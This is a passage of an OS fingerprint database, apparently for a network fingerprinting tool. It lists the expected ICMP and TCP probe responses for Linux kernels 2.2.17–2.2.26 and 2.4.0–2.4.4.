icmp_unreach_df_bit = 1 icmp_unreach_ip_id = !0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 07 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = 0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = 0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = 0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = 0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = 0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 07 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = 0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = 0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = 0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = 0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = 0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 07 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = 0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = 0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = 0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = 0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = 0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 07 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = 0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = 0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = 0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = 0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = 0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.4.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry Contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 07 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = 0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = <255 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = 0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = 0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = 0 #Module E icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 1 icmp_unreach_ip_id = 0 icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = 0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 5792 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 1 tcp_rst_ip_id_1 = 0 tcp_rst_ip_id_2 = 0 tcp_rst_ip_id_strategy = 0 tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.26" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 19 December 2003 #Modified: #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.25" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 02 July 2003 #Modified: 02 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.24" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 02 July 2003 #Modified: 02 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.23" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 02 July 2003 #Modified: 02 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.22" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 02 July 2003 #Modified: 02 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.21" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 02 July 2003 #Modified: 02 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.20" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 02 July 2003 #Modified: 02 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.19" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 02 July 2003 #Modified: 02 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.18" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.17" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK 